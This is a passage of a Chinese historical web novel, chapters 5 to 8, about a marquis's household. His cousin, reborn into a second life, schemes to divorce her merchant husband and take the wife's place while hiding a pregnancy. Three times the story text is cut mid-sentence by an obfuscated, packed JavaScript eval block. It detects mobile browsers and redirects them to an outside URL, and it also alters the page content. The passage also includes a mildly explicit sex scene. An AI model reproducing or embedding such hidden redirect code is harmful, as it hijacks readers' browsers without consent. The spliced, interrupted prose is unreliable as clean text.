“没有实证的事莫要这般揣测。”纪萝摇摇头打断了她的话,“院子里的兰卉是个可靠的,你给她塞点银子,让她这两日多盯着倩桐,若是要出侯府区便更要盯着,将她每日去了何处,见了何人都一一记下,隔一日向我禀报一回。” 芸枝知晓此事要紧,连忙应了下来。 等这事了了,厨房那边已经将鸡汤送了过来,这汤足足熬够了两个时辰,正是最适合用的时候。 纪萝算着时辰,知晓这会儿赵承嘉定然已经回来了。 于是带上了这鸡汤亲自去了书房。 赵承嘉这会儿正在书房。 他今日向天子禀报时虽不曾有何差错,可天子多问了几句,他大约神思倦怠,竟是没及时应答上来。 虽说天子并未因此发作,可目光却微微冷了些,大约是对他有些不满的。 再加之昨日夜里那一桩事,让他心底又是多了几分烦闷。 恰在这时外间传来青墨的声音,“侯爷,夫人到了。” 赵承嘉神色一顿,便见纪萝进来,她垂首行了礼,“侯爷,昨夜处理公事辛苦,我令厨房熬了鸡汤,侯爷用了之后午间正好可歇一歇。” 5. 第五章 赵承嘉目光落在她端放在面前的鸡汤上,他一瞬便回想起了昨夜的事。 王玉盈问他,可还怨着她? 赵承嘉答,过去之事便都只是过去的事了。 好似当真将从前的事尽数放下。 可只有他自己才明白,那一瞬,他的心还是游移了。 “侯爷?”见赵承嘉一直未曾应答,纪萝小声唤了他一句。 赵承嘉被她的声音拉回思绪,心底瞬间被愧疚所填满。 “阿萝,抱歉,昨夜我……”他的声音因着疲累的缘故有些沙哑。 纪萝却上前一步,小心替他按着头,“侯爷忙于公事,我怎会因此怪罪?” 她只以为他是因着昨夜未能赴约才道歉。 赵承嘉张了张嘴,还想再解释些什么,可到底不曾说出口来,他拉着纪萝的手在自己的身侧坐下,“阿萝,我明日会与母亲说,让王玉盈尽快回去。” 纪萝没想到他会突然提及此事,一时有些意外,“可表妹不是因着夫家之事与母家也闹得不痛快,这时回去,又能回何处去?” 王玉盈因袁庆生在外头养了外室而闹着要和离,可王家却是不答应的。 从前王玉盈嫁给袁庆生时他还没有如今的本事,眼下生意越做越大,王玉盈却要在这时和离,王家人自然是不肯的。 可王玉盈铁了心要和离,于是与家中也闹得不痛快。 这会儿要回去怕是不方便。 若不归王家,更不能再回袁家去。 如此,哪里还有了去处? “她自己的事总要了了,日日避于侯府也不像话。”赵承嘉似乎对王玉盈的境遇浑然不在意,只把玩着纪萝白皙的手指道:“况且她留在府中,反而还会给你不痛快,你是我的妻子,我总是要多为你想想。” 纪萝听他这般说,原本是想否认的。 可是想起那日王氏所言,又不由沉默了下来。 “表妹眼下还未与那袁庆生和离,这般拖延着确实也不行,既是打定主意要和离了,怕还是要再见一见那袁庆生,想来表妹是个性子倔的,那王家应当也做不了她的主……”纪萝用心分析着王玉盈如今的情况,想着还是快刀斩乱麻,尽快和离得好。 可再一抬眸,却见赵承嘉眼底布满了红血丝,显然是困倦极了,于是连忙止了话头,“侯爷若是累了不如还是先歇一歇,等歇好了再令人传午膳。” 书房的隔间里安置了床铺等一应物件,从前赵承嘉与纪萝分房睡也多是歇在此处,眼下处理公事疲累了也正好在此歇下,倒很是方便。 “确实有些累了。”赵承嘉说着起身,纪萝便也要行礼告退,可不想赵承嘉却顺势揽住她的腰身,再稍稍一用力,竟是将她抱了起来,他道:“阿萝陪我一同午睡。” 纪萝将微微有些发烫的小脸埋进赵承嘉怀中,轻声应了个“好”。 床榻上,赵承嘉的手并不安分,他手探进纪萝衣间,呼吸里似乎都夹杂着灼人的气息,天色尚早,书房的门窗虽然紧闭着,可外间的却是阳光正好的时候,透过朦胧的纱窗映进里间,虽不刺眼,可却依旧亮堂。 纪萝脑子里无端地冒出几个字来,白日宣…… 她脸一下子红到了极致,手忙脚乱得去拦住了赵承嘉在她腰间作乱的手,“侯爷,既是累了还是先好生歇着,旁的事便不做了。” 赵承嘉却兀自捉住了她纤细的手腕,而后欺身覆了上去。 他身下的纪萝早已羞得紧闭双眼,往日白皙的面容这会儿已经染上一层的红晕,许是身上热得厉害,额间也已是沁出薄薄的汗珠来,她染了口脂的唇微张着,他心间一颤,几乎是迫切地贴近,深入…… 再醒来时纪萝身上都是酸痛的。 可这一回的感觉显然比上一回要好上许多,赵承嘉大约有了些经验,对她的身子也更为了解,初时还隐约有些不适感,可到了后边,赵承嘉的动作越发熟练,她亦是隐晦得从中体味到几分说不清道不明的……快感? 总之,是不难受的。 醒来后已是午后,赵承嘉虽手头还有公事,可却依旧是拉着她再一同用了午膳后才放她回去。 *** 翌日,纪萝过来华庆院向王氏请安。 赵承嘉先一步到了,纪萝过来时,他才向王氏提了让王玉盈离开的事,“你来了侯府也有几日了,一直住在这里怕是不妥当。” 他的话说得直白,果然惹得王玉盈又红了眼眶,“表哥这是要赶我走了?” 赵承嘉还未应声,王氏便搁下了手中筷子,先是看向王玉盈道:“阿盈你放心,你想在侯府住到什么什么便住到什么时候。” 而后目光扫过赵承嘉,最后是落在了纪萝身上,“有我这个做姑母的在,任凭是谁,也别想赶你走。” 王氏这话虽未指名道姓,可那毫不避讳的眼神,显然是觉得赵承嘉之所以会如此说是纪萝在背后撺掇。 纪萝一时觉得有些尴尬。 赵承嘉皱眉,正欲在说些什么,却见有下人来禀,竟说是袁家人到了。 王玉盈脸色霎时苍白了几分,下意识往王氏身后靠了靠,一副很是恐惧的模样。 王氏安慰似得轻轻拍了拍她的手,而后道:“这袁庆生怎么还敢寻到侯府来?这等忘恩负义之徒,你们只管将他打出去就是了,不必再来禀报!” 下人正要应下,可王玉盈有些急切道:“等等。” 众人的目光于是都落到她的身上,以为她竟是心软了。 但王玉盈却轻轻摇了头,“只是阿盈与那袁庆生还未正式和离,他今日既然找上门,阿盈便想着不如索性向他讨一份放妻书,也算了结了这桩事。” 袁庆生那边的动向王玉盈自有安排好的人日日盯着,从她离了袁家之后,这人就是一蹶不振,虽将那“外室”母子接回了家中令人好生照料着,可却从不曾去过那母子院中,显然只为责任。 本来连着几日传来的消息都是如此,可昨日的消息却有些不同。 袁庆生从前一日半夜便爬起来在书房写些什么,第二日白日里更是将自己关在书房中一整日,下人们送来的膳食他碰也不曾碰,却少见得令人买了几坛子酒来,等他醉倒之后,王玉盈安排的人悄悄去翻看了他所写的东西,这才瞧见上边赫然写着三个字——放妻书。 王玉盈便知,他今日过来,应当是揣着这封放妻书来的。 她原本便想着要尽快与袁庆生撇清干系,眼下袁庆生即然带了着放妻书来,她又如何能错过这般良机? 或许这不过是袁庆生一时之念,错过了这回,万一他再变了心思,此事可不就难了? 王氏大约也觉得这话有些道理,点头道:“你留在此处,姑母去见一见这袁家小子,正好也有几句话要好生问问他!” 王玉盈明白王氏如此说是存了护着她的心思,忧心她见了袁庆生后又要难过。 可到底这一切是她用心编造的一场谎话,王氏虽向来疼爱她,但却也不是傻子,若是让王氏单独见了袁庆生,她也难以保证不会被王氏觉出不对来。 万一被王氏觉出端倪,那她在永宁侯府最大的倚靠可就没了,赵承嘉如今心里还怨着她,若没有王氏这个倚仗,她怕是想留在永宁侯府都是难事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319060|167390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,更遑论其他? 想到这一层,王玉盈慌忙起身,“姑母,还是我去吧。” 王氏皱眉,“你即然已经将话与那袁庆生说清,又何必再去见他,姑母帮你要了放妻书,此事便就罢了。” 倒不是王氏不想追究其他,只是事情到了如今这地步,王玉盈也一心想着和离,倒不如索性尽快了事的好。 否则传闻出去,对王玉盈的名声却也是没好处的。 至于嫁妆,当初王玉盈执意与袁庆生成婚,王家人始终是不肯应下的,后边实在无法算是松了口,可那嫁妆却寒碜得不行,便是当初袁庆生送至王家聘礼的十之一二都没有,便也就不再计较了。 如此,王氏以为只是她去见一见这袁庆生便已是足够。 可王玉盈却惨然一笑,“到底是我与他两人间的事,我与他成婚三载,如今落得这般下场,如今要和离了,有些话,总还是要当面说的。” 这话说得有几分道理,王氏略一思忖,到底点了头,“罢了,那姑母陪你一同去吧,如此,他若有旁的心思,姑母也好给你撑腰。” 说罢,便要起身。 可王玉盈却又道:“怎好让姑母被牵扯进这污糟事里头来,我既人在侯府,这袁庆生是万万不敢乱来的。” 她看了一眼桌上的餐食,颇有些歉疚道:“姑母这一早上还没用什么东西了,光为着我的事操心了,眼下这事姑母便不必管了,阿盈能办妥当的。” 王氏神色略有迟疑,就听赵承嘉又说了句,“她自己的事就由着她自己去办吧,侯府的下人都在,难道还当真会让她吃了亏不成?” 王氏这才点了头,又嘱托了王玉盈几句,这才让她离了华庆院。 纪萝听着这一番闹剧下来,心下却觉得有些不对。 她向来心思细腻,许多事旁人或许觉不出什么来,可她却总能发现些什么。 这王家表妹分明日日说着要让王氏为她做主,如今事到临头了,她偏偏却换了副做派,莫说是让王氏帮她了了这事,便是让王氏陪同前去都是不愿的。 这里头,难道竟是有些古怪? 可想到此处,纪萝又轻轻摇了头,左右此事与自己无关,还是不要妄加揣测的好。 出了华庆院,王玉盈心下那口气也是稍稍松了松。 即是单独与袁庆生见面,她也就没什么可怕的了,袁庆生的性子她向来是最为了解,莫说眼下他什么也不知,便是当真知晓了什么,王玉盈也有信心能拿捏住了他。 眼下,只消拿到那放妻书便足够。 下人将袁庆生领到了侯府□□的园子处,这处四下僻静,倒是个说话的好去处,更不说两人交谈时侯府的那些下人正好在不远不近处,不至于听清他们二人所言,若是袁庆生当真想对王玉盈做些什么,下人们也能及时拦下。 也是王氏提前吩咐好的。 王玉盈过来时袁庆生已经等在那处,虽一直有从盯梢的人口中了解到他的现状,可当真正见着他时,却还是禁不住有些意外。 其实他来之前应当是提前收拾过的,身上的衣衫是干净的,头发也齐整地束起,可却依旧掩盖不住眉眼间的倦色,他眼底那一片乌青近看之下甚至有些骇人,更不说眼眸中布满的红色血丝。 就好似好些时日不曾歇息了一般。 不过如同王玉盈安排之人所言,他也确实应当好些时日没有好好歇息了。 袁庆生瞧见王玉盈过来,他眼底分明有了喜色,下意识往前走了两步,可却又生生停下,最终只是站在与王玉盈有些距离的地方,勉强挤出笑意道:“阿盈,你来了。” 6. 第六章 王玉盈还是从前模样,只是长发挽成了未成婚时的发髻,发间也簪钗也都换了样式,不过一眼瞧去依旧是价格不菲的物件。 袁庆生停在了离她有些距离的地方,王玉盈也没有再上前去,她冷冷看着眼前人,“我今日来见你,只为了与你谈妥和离之事。” 她如此说,却是斩断了袁庆生心底最后一丝希冀。 袁庆生苦笑一声,“我知晓。” “你即然知晓,那想来放妻书也已经备下了吧。”王玉盈伸出手,“拿来罢。” 袁庆生的身子僵住,他眸底的痛苦之色全然无法掩藏,“阿盈,这次的事是我对不住你,你要离开也是应当的。” 说罢,他垂下眼眸,从怀中拿出一封书信来,迟疑了片刻,到底递了过去。 王玉盈很快接过,却发觉这信封似乎厚实许多,打开之后才瞧见里面不仅放着一张放妻书,还有厚厚一叠的银票,她神色不由微微顿住,就听得袁庆生道:“阿盈,我们成婚三载,如今因着我的过错要分开,我知你肯定不会再想与我有任何牵扯,这些银票便当作是我将你当初的嫁妆折了现,往后,往后自当不必相见了。” 当初王家给的那些嫁妆本就寒碜,即便是折了现也绝对没有这个数目,王玉盈如何会不明白袁庆生这是有意给她补偿? 她下意识抬眼看向袁庆生,却见袁庆生微微屈身向她拱手行了一礼,而后直起了腰身,一步步离开。 王玉盈看着那道背影,心底不由得生出了酸涩之感来。 到底是当初执意要嫁与的夫郎,她对袁庆生的情意自然也并非为假,只是……只是那样的日子,她不想再过一回了。 王玉盈在原处稍稍站了片刻,直至心底再度冷硬起来,才端着身子回了华庆院。 此时赵承嘉与纪萝已用过早膳离开,王玉盈便只向王氏禀明了情况,又拿出那放妻书给王氏瞧了。 王氏细细瞧了那放妻书,又看了最底下的手印,这才满意的点了头,“这袁庆生虽说做了错事,可却也算是个有担当的,至少没有再起纠缠你的心思。” 王玉盈笑着道:“这不是有姑母在,他知晓我背后好歹是有永宁侯府撑腰的,哪里还敢纠缠?” 她向来是会说话的,这一句话即是捧了永宁侯府的地位,又是表明自个与姑母的关系亲密,果然哄得王氏眼底带了笑意,她拉着王玉盈的手道:“即是和离之事已经妥当,这些时日你先好好歇一歇,等过段时日风头过去了,姑母再给你寻了合适的相看,定是要找个比那袁家小子好上千百倍的。” 王玉盈其实心里明白这话不过是安慰她罢了,即便是倚靠这永宁侯府,可到底她已经是成了一回婚的了,想再嫁一个比袁庆生好的,谈何容易? 不过她心下早已有了主意,此时自然也只做出感动模样来,“多谢姑母为阿盈筹谋。” 王氏抬手摸了摸她鬓角的发,“这傻孩子,遇上了这种事,姑母不为你安排谁为你安排?” 说罢,又道:“你安心歇着,姑母不会让你受了委屈的。” 王玉盈靠在王氏怀中,乖巧地点点头,可眼底却并不似平日温顺,反而冰冷至极。 今日或许是因着袁庆生这桩事了了,王氏的话也多了起来,午间都未曾歇息,直让王玉盈陪着她用了晚膳才回去。 王氏年纪大了些,餐食便多以清淡为主,即便是些荤类,也多做得清淡可口。 可今夜王氏念着王玉盈在,便吩咐厨房多做了两样从前她喜欢的,饭桌上便多添了些荤类,都是按着王玉盈素日的口味做的。 但等那几道菜端上桌时,王玉盈只闻得那气味就变了脸色,王氏却并未觉出异样来,甚至令婢女将那几道菜端到了王玉盈面前,笑着道:“这几道菜我记得从前你时喜欢的,特别是这道五味杏酪鹅,姑母记得你最是喜欢。” 说着,她还夹了一块到王玉盈碗中。 那股稍显油腻的荤腥气味猛然窜了上来,直直地往她鼻腔去,她强行压抑住有些想要干呕的冲动,脸色微白道:“姑母,我……我实在没有胃口。” 王氏也瞧出她脸色不对了,忙关切道:“这是怎么了?瞧着怎么脸色不太好,可要叫大夫过来瞧瞧?” 上京大户人家为了方便瞧病,都会在家中养些医术不错的大夫,如此万一家中有人生了急病也好及时应对,更不说永宁侯府了。 此时王氏才说完这话,便作势要令人去唤大夫过来。 王玉盈哪敢当真让大夫来瞧,慌忙解释道:“姑母,我无事的,只是今日实在有些累了,好好歇一歇便无事了。” 王氏想起今日袁庆生那事,又见王玉盈除却脸色微微有些发白外好似当真并未别的问题,这才点头道:“今日这样闹了一番,你累了也是正常。” 说罢,向她身后的婢子凝芳吩咐道:“扶你家主子回去歇息罢。” 凝芳应下,王玉盈也实在有些受不住,于是起身简单行了一礼之后便回了观荷院。 旁人不知王玉盈情况,凝芳却是明白的,等回了观荷院,她便偷摸熬了汤药送至屋内。 这汤药苦涩,王玉盈皱了皱眉头,可却还是尽数喝了下去。 这是安胎的药,她日日都喝着,即便来了永宁侯府也并不曾断过。 只是王玉盈不想让怀孕之事被旁人知晓,所以向来都是让凝芳偷摸熬了药送过来的。 见王玉盈将一碗汤药饮尽,凝芳迟疑了片刻,还是开了口道:“姑娘眼下与袁庆生已是断了关系,这腹中孩子再留着恐怕……” 这孩子显然是袁庆生的,若两人还有回头的余地,那留着这孩子无碍,可如今二人已是和离,凝芳自然也知道王玉盈既然亲手算计了这一切,是万万不会回头的。 那这腹中孩子便成了拖累。 可偏偏王玉盈似乎一直未有要将这孩子落了的念头,反而日日好生养着,实在奇怪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319061|167390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王玉盈抬手轻抚着腹部,她这孩子其实才怀上不久,腰身依旧是极为纤细的,便是细细端详,也瞧不出古怪来,只是身体的反应是无论如何也骗不了人的,“这孩子确实不能留,可却也不能白白落了,总要有些好处。” 凝芳一怔,“姑娘的意思是……” 王玉盈却并未回答,只道:“我近来身子反应越发大了,应当请大夫来开个方子压一压才好。” “可眼下咱们在永宁侯府。”凝芳有些担心,“若是姑娘不想让此事被旁人知晓,怕是得寻了机会出府才行。” 她们在永宁侯府到底没有根基,做起事来实在不便,若是当真请了大夫进府,这事传到王氏耳中,不免会令她生疑。 王氏虽向来对王玉盈不错,但在这事上边,王玉盈有自己的打算,是万万不能叫王氏知晓她身怀有孕的。 王玉盈思索着,片刻之后心里便有了主意,“明日,我回家一趟罢。” 袁庆生回到家中时已是深夜。 茵娘哄睡了孩子,自己却未曾歇下,一直等着袁庆生回来。 袁庆生看见灯下那道身影,不由得有些恍惚,可等他止不住地往前行了两步,看清了灯下那人的面容才猛然回过神来,原来是茵娘啊。 茵娘便是袁庆生的“外室”,那日滴血验亲之后,袁庆生即便再不愿相信此事,却也不得不相信了。 他只得将茵娘与孩子都带回了家中。 之后她们母子二人也一直住在袁家。 茵娘见袁庆生终于回来,连忙迎了上去,尽可能扯出笑容道:“袁郎今日怎么归来这样晚,想来定是累了吧,妾服侍您洗沐吧。” 她说着,身子不由得贴近了些,两人的距离几乎没了空隙。 可袁庆生却仿若被吓到了一般,慌忙后退了一步拉开了两人间的距离,“茵姑娘,你不必如此。” 茵娘见袁庆生这副避自己如蛇蝎的模样,眼底不由添了一抹悲凉,“袁公子,是要将我们母子二人赶走吗?” 她改了称呼,唤他“袁公子”。 “怎会?”袁庆生一愣,摇头苦笑道:“不论如何那孩子到底是我的,说到底我对不起阿盈,也对不起你们母子二人,你们安心在家中住着便是。” “往后若是你有的别的去处,想离开,我也不会阻拦。” 茵娘看着眼前人,心知他是心地良善之人,更明白眼下这一切对他而言都只是无端祸事。 只是她却也没得选,即便她不为自己,也总要为孩子周全。 谁让她遇上的是个负心人呢? 想到此处,她指尖不自觉用了力,竟是掐入了掌心,她抬眸看着眼前人,声音很轻,可却极为清晰道:“袁公子,这样不公平,我们有了孩子,你当……娶我的。” 她不能无名无份的留在袁家,即便她不在意,可她的孩子的。 为了孩子,她不得不狠心些,再狠心些。 7. 第七章 第二日,纪萝便听说了王玉盈归家的事情。 芸枝道:“大约是昨日从那袁庆生手中拿了放妻书,这事总要给家中一个交代,所以今日急匆匆回去了。” 纪萝点点头,只道:“王家表妹是个有主意的。” 再未多说什么。 这事原本与她便没什么干系,她也不好多做评判。 不过两人既是已经和离了,也是件好事,否则这般纠缠下去,反而要生出麻烦来。 芸枝见她兴致不大,便也没再说下去。 正好这时兰卉进来要向纪萝禀报,她依着纪萝的意思,连着两日都小心翼翼跟着赵倩桐,却并未觉出什么不对来。 “倩桐小姐这两日无非只是去逛逛素日光顾的铺子,与交好的几位小姐吃茶谈天罢了,倒是并无异常之处。”兰卉跟在赵倩桐身后,几乎是寸步不离的,这会儿赵倩桐还在自个院中,她便抽空过来向纪萝禀报。 兰卉所禀报的这些纪萝都是知情的,毕竟赵倩桐每日的支出都记在账册上,她每日看着,也大约能猜到赵倩桐的去处,于是点头,看了一眼身侧的芸枝。 芸枝会意,从袖口处掏出一锭银子来塞到兰卉手中,纪萝便又接着道:“兰卉,你这两日做得很好,往后你还需好好盯着倩桐,若遇上异常之事再向我禀报便是。” 兰卉收了银子,垂首应了下来。 *** 王玉盈到了王家时已是午间。 王玉盈的父亲王文成与母亲李氏见了她都并未有好脸色。 王文成先冷哼了一声,“你这不孝女还有脸回来?我还以为你要一辈子躲在侯府了!” 李氏面色也不好,不过言语却稍稍和缓些,“你要与袁庆生和离的事,我与你父亲都不同意,从前你嫁给他时他不过是个寻常商户,那时候的苦日子都熬过来了,如今他腰缠万贯,你反倒要和离了?就为着那么一个外室?” “你若不松口,她就是一辈子的外室,你若失想做出大方姿态来,将人迎进门也并无不可,袁家的后宅到底都是你这个正室做主的,你若背后使些手段,谁有能知晓?” 李氏越是说着,语气中越是多了些恨铁不成钢的意味。 后宅中那些阴私之事本来是不应当这般拿到明面上来说,可眼下她眼睁睁看着自个女儿做了蠢事,却也顾不上这些了。 可惜王玉盈却不听这些,只从袖口处拿出那张叠得正好的放妻书来,“袁庆生已是签下放妻书给了我,我与他已经和离,父亲母亲再说这些也是已经晚了。” 王文成见了这放妻书,脸上顿时涌上怒火,他猛地一拍案几,“好,当初成婚是你做的住,如今和离也是你自己做的主,你眼里哪里还有我这个父亲?如今你还回来做什么?” 说罢,当真要令下人将她赶出去,“你往后去永宁侯府,去袁家,就算流落街头都好,总之你与我们王家是再无关系了,我王文成只当没有你这个女儿!” 王家的几个下人见了这般景象,一时也不知是否该动手。 王文成虽如此说了,可听着却只是气话,再说王玉盈好歹是自家小姐,他们是万万没有胆子轻易动手的。 李氏虽也因着王玉盈和离之事生气,可怎得也不至于到了要与自己女儿断绝关系的地步,听王文成这般说,也只得压下心头的火气打了圆场。 一边劝着王文成,“虽说已经拿了放妻书,可这事未必没有回转的余地,你且让我好生与她说一说。” 王文成心头那股火气虽还未能顺过来,可却冷静了许多。 他方才那话确实是气话,到底是养了这么多年的女儿,即便再如何犯浑,也不到要与她断了关系的地步。 所以他冷冷道了句“管好你生的女儿”之后便拂袖而去。 李氏将王玉盈带回了房中,原本还想开口说些苛责的话,可一抬眸见她身量纤纤,连原本有些圆润的小脸都瘦削了许多,脸色也并不算好,心不由得软了下来,最后只是叹了口气道:“这事说到底也不怪你,谁能想到那袁庆生竟能做出这种事来呢?” “他若实在有瞧上的,与你商量了之后依着规矩纳做妾室也就罢了,这般在外间养个妾室,岂不荒唐?即便如今他再有钱也不过是个商户,我们王家的女儿嫁给他,当初是他高攀,如今也还是他高攀,他这般做,实在是连你的脸面都不曾顾上分毫,你生气也是应当。” 王玉盈虽知此事原委,但听得李氏如此说,便也顺着她的话开始哭诉起来,“母亲所言正是阿盈心中所想,当初女儿未听母亲劝告,一心嫁入袁家,如今却是当真后悔了,袁庆生在外间养了外室却也罢了,偏偏竟是连孩子都有了,即便如今再如何对我赌咒发誓,说不会再犯,我又如何再能信他?” 她说着,用帕子抹去眼角那两滴泪珠,“如此,我若不彻底了断,往后哪里还能有好日子过?” 到底是身上掉下来的肉,李氏听着也不由心疼,但想到如今的境况,又不免道:“只是这和离之后再想寻一个好人家,却是难了……” 这和离之事,哪怕是袁庆生的过错,可对于王玉盈却难说不会有影响。 即便名声是保住了,可她到底已成了一回婚了,如今年岁更不算小,只是再嫁人或许不难,可再想嫁个好的却当真不易。 李氏如何能不发愁? 王玉盈心下早已准备好了说辞,正欲开口,可不知为何腹中却涌上一阵恶心感,竟是止不住开始干呕起来。 李氏见此景象,脸色顿时一变,好在里间并无外人,她神色凝重许多,“阿盈,你老实与母亲说,你可是……怀了身子。” 王玉盈原本是打算瞒下此事的,可眼下瞧着却是瞒不住了,于是只得点了头。 “你当真是糊涂啊!”李氏猛然起身,“你既是怀了身子了,不说定然能压袁庆生养在外间那个一头,只说你如今腹中还有个孩子,又当如何自处?你逞一时之快与他和离,竟是一点也没想过往后的事!” 又拽着王玉盈的手道:“袁庆生定然还不知你怀了身子罢,走,今日我便带着你往袁家走一遭,这和离的事做不得数!” “母亲,你且听我说!”王玉盈勉强从李氏手中挣脱开来,咬牙道:“我不会再回袁家去了,我要嫁给表哥!我要做永宁侯夫人!” 李氏吃了一惊,“你说什么?” 王玉盈揉捏着被李氏拖拽得有些发红的手腕,一字一句道:“我说,我要嫁给表哥,我要做永宁侯府的主人,才不做这劳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319062|167390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什子商户之妻,再富贵又如何,还不是被人瞧不起?若是往后受了牵连,那可当真是求天天不应,求地地不灵,实在是受罪!” “什么牵连?”李氏有些糊涂了。 王玉盈反应过来自己说漏了嘴,忙摇了头敷衍过去,“没什么,总之我不会再去袁家,也定不会再与袁庆生有什么瓜葛。” 重生之事原本就骇人听闻,若不是上辈子那一切实在真实,就连临死前头磕在尖石上传来的痛感也那样清晰地让她体验了一遭,加之后头发生了许多事都与上辈子所发生之事一一对上,她自个怕也只会觉得那所谓的上辈子之事不过是惊梦一场罢了。 自个亲历之事想要相信都如此艰难,若要让旁人相信只会难上加难。 说不定还觉得她大约是中了邪,所以才会这般胡言乱语。 所以从确定自己当真重活了一世开始,王玉盈就打定主意,此事定是不为外人道的。 好在李氏也并未抓着她这话不放,只颇为恨铁不成钢道:“当初我与你父亲便是不同意你嫁入袁家的,想着若是嫁与袁家,不如索性嫁去侯府,虽然承嘉那时候还未曾袭爵,可做一辈子的富贵闲人却是不难,但你偏偏不肯,如今你说要再嫁进侯府……” “你们都已经各自婚嫁,我听你姑母提过,说承嘉对他那夫人也是不错的,哪里还能有你的位置?” 说罢,她垂眸看了一眼王玉盈腹部的位置,那里虽平坦如初,可却早已与当初不同了,“再说你现在腹中还怀着袁庆生的孩子,承嘉就算当初对你是有几分情意,可又如何能忍下?” 不说赵承嘉身份尊贵,便只是个寻常男子,也无法忍着这种事罢? 李氏觉得她实在异想天开! 可王玉盈这会儿却已经冷静下来,她轻笑一声道:“母亲以为我要对表哥将一切和盘托出,利用他对我那几分怜悯之心让他与正头夫人和离,再娶了早怀了旁人孩子的我?” 李氏一愣,“难道不是?” 除却倚仗着过去的那几分浅薄情意,再加之对她如今所遇非人的怜悯之外,还能有什么? “自然不是。”王玉盈轻抚着腹中那还未成型的孩子,“我手中总要多些本钱才是。” 李氏意识到什么,看向王玉盈的目光中已是多了几分难以置信,“你是想利用这个孩子……” 片刻之后,她又连连摇头,“不成,这样做风险太大了。” “母亲,我不会将这个孩子生下来的,等寻着合适的时机,还是将这孩子落了才好。”王玉盈叹了口气,“母亲也知晓表哥从前如何待我,对于男子而言,向来得不到的才是最好,眼下我有这般机会,怎能不放手一搏?” 李氏不想她竟已考虑到如此周全,想起往日赵承嘉对她的情意,神色也不由微微有些松动,却又听得王玉盈道:“表哥如今不同往日,更是在朝中也任了官职,阿弟去年科考又是落了榜罢,若有表哥提携,阿弟的仕途不说多么顺利,至少也能少些坎坷了。” 李氏不由攥紧了帕子,半晌才点头道:“你既早已有了思量,我这个做母亲的也说不了什么了,你向来是个聪慧的,这一回,莫要再犯了蠢便是。” 王玉盈明白李氏的意思,自是颔首答应。 8. 第八章 母女二人正说着,却有人在此时猛地推门走了进来,“阿姐,你当真与姐夫和离了?” 来人不是旁人,正是王玉盈方才提及的弟弟王绍。 他才回了府中便听说了王玉盈与袁庆生和离一事,便气势汹汹得往李氏院中赶来,瞧这气势,竟像是过来兴师问罪的一般。 李氏见他这般模样不由皱眉,王玉盈却先点了头,“是,我与他确实已经和离了。” 王绍听了她这话顿时着了急,“阿姐你怎么犯这种蠢?袁庆生眼下生意做得正好,你怎地偏偏在这当口与他和离?就算当真养了个外室又如何,凭着他对你的情意,这外室难道还能越过你去不成?” “既是做了人家正头夫人,便总该有些容人之量,你这般……” 王绍的话还不曾说完,王玉盈却冷笑一声打断他,道:“说这样多旁人还以为你多关心我这个做姐姐的,其实还不是往后没人能替你平了你在青楼酒肆的那些花销!” 王绍素日花银子都是大手脚的,青楼酒肆那些地方更是去得不少。 王文成在朝中虽任了官职,可俸禄银子却不多,平日里要撑起整个王家的花销已是不易,自是平不了王绍在外头的账。 王玉盈初与袁庆生成婚时,王绍便厚着脸皮问他要过几回银子,后来他的生意越做越大,王绍便越发没了顾及,到如今,王绍惯去的那几家青楼酒肆都知只要这位王公子的花销,那记在袁老板账上便不会有错。 如此,王绍自然过得越发自在。 可眼下得知王玉盈竟是与袁庆生和离了,对于王绍而言,岂非断了财路,定然是不肯的。 王玉盈这话可谓是一个字也不曾说错,令王绍神色有些难堪,只是他却也是不肯承认的,“阿姐说的这是什么话?我自然是关心你的,袁庆生如今日子越发好过起来了,你在这当口与他和离,本就不对……” “好了!”王玉盈那话说得直接,李氏又何尝不知王绍背地里做的那些事,这会儿也冷下脸来,“你阿姐与袁家如今已经没了干系,你往后不许再与袁庆生往来!” 王绍还想再说些什么,李氏却又看向王玉盈道:“阿盈,你今日也累了,母亲吩咐了人将你从前的院子收拾好,这会儿应当也差不多了,你先回去歇着吧。” 王玉盈垂首应下,转身出了院子。 王绍本也欲离开,却被李氏叫住好生教育了一番。 王家除却王绍这个嫡子之外却还有个妾室所出的庶子,虽说如今也养在她身边,可到底却不是亲生的,李氏的心思也还是大多用在自个这个亲生儿子身上。 但奈何这儿子是个不争气的,如今虽年岁还不大,可去年科考已是落榜过一回,之后更是日日在外头鬼混,就连特意请来的夫子都被他气得不行,宁可退了银子也不肯再教他。 他这般性子,走科举这条道路怕是行不通的。 可若是不入朝为官,难道竟要指望着那庶子来撑起王家的门楣? 这定然不行的。 李氏原本也正为此事忧心,可今日听得王玉盈那话,自是免不了心动。 